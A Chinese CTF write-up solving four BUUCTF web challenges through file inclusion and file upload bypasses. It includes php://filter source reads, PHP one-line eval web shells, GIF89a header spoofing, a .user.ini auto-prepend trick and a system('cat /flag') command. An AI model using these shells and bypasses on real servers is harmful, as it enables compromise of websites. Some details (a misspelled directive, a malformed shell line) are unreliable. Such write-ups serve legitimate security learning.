BUUCTF web 文件上传+文件包含篇

[ACTF2020 新生赛]Include——文件包含

1.打开题目链接，查看题目意思为文件包含
2. 获取到的url为

http://c605348f-44f9-4c25-b602-66c73ee07005.node3.buuoj.cn/?file=flag.php

是一个php文件,返回字符串如下:Can you find out the flag?
猜测读取原码:构造url:

?file=php://filter/read=convert.base64-encode/resource=flag.php  //文件上传中传输PHP的协议，可以传送任意PHP文件

3. 猜测flag被加密，使用base64解密

[极客大挑战 2019]Upload——文件上传

由题目来看，考点为文件上传。
上传一个包含一句话木马的php文件，发现上传失败并提示不是图片。
在上传php文件时使用burp抓包，尝试修改文件后缀为png，上传不成功
上传图片马

继续上传文件内容为一句话木马的jpg文件，提示过滤了<?
因为过滤了<?,因此不能只使用php语言

<script language='php'>@eval($_POST['abc']);</script>

发现不仅前端，后端也进行了检查。因此使用burp抓包后添加GIF文件的文件头GIF89a,并修改文件后缀为png、phtml、gif、jpg等等均可
使用蚁剑连接即可获得flag。

[ACTF2020 新生赛]Upload——文件上传

打开题目链接点击灯泡即可看到隐隐约约的上传文件的框。
上传一个含有一句话木马的php文件
继续上传一个文件内容为一句话木马的jpg文件，发现使用蚁剑连接不成功，于是我们可以在上传jpg文件时使用burp抓包修改文件后缀为phtml
放包后发现页面提示上传的文件的绝对路径，且文件名被修改
使用蚁剑连接时，注意用被修改过的文件名，连接成功后即可得到flag。

[SUCTF 2019]CheckIn——文件上传

1. 上传包含一句话木马的php文件时，提示后缀不合法；
2. 上传图片马时，提示内容错误。
3. 尝试htaccess绕过，当上传.htaccess文件时，提示上传文件不是图片。
4. 上传一个以auto_propend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是：所有的php文件都自动包含1.gif文件，.user.ini相当于一个用户自定义的php.ini。提交后提示文件格式不是图片。
5. 在文件内容前面添加GIF 89a来绕过文件头检测
   
   提示上传成功
6. 继续上传一个文件内容为一句话木马的1.gif文件，同时添加GIF文件头来绕过文件内容检测。

GIF 89a
<?php eval($_POST[[123];)?>

提示文件内容不合格。
7. 类似于本篇文章第二题，我们猜测过滤了<?，不能只使用php。

GIF89a
<script language="php">eval($_POST['cmd']);</script>

8. 我们发现，在uploads/d4e1477e342a41f6e43fbde8f3096ada 对应的文件夹下面有两个文件，一个是.user.ini，一个是1.gif，当然，还有一个index.php。构造URL使用蚁剑连接即可。

http://ddc85fae-66c7-4e42-91cb-6625fc35b843.node4.buuoj.cn:81/ uploads/d4e1477e342a41f6e43fbde8f3096ada/index.php

9. 若蚁剑连接不稳定，可使用post传参得到flag。

cmd=system('cat /flag');    //注意：cat后面有空格，不可忽略

补充知识——cat ls（linux命令）

1、ls命令

• ls命令用于查看某个目录的内容，相当于dos系统中的dir命令。
• 在Linux系统中，如果我们想把某个文件设置为隐藏文件，那么只需要在该文件的文件名前面加.即可。
• 在终端中，.表示当前目录，而..表示上级目录，/表示根目录，~表示当前用户的目录，在home目录的下一级。

2、 cat命令

cat命令用于连接文件并打印到标准输出设备上。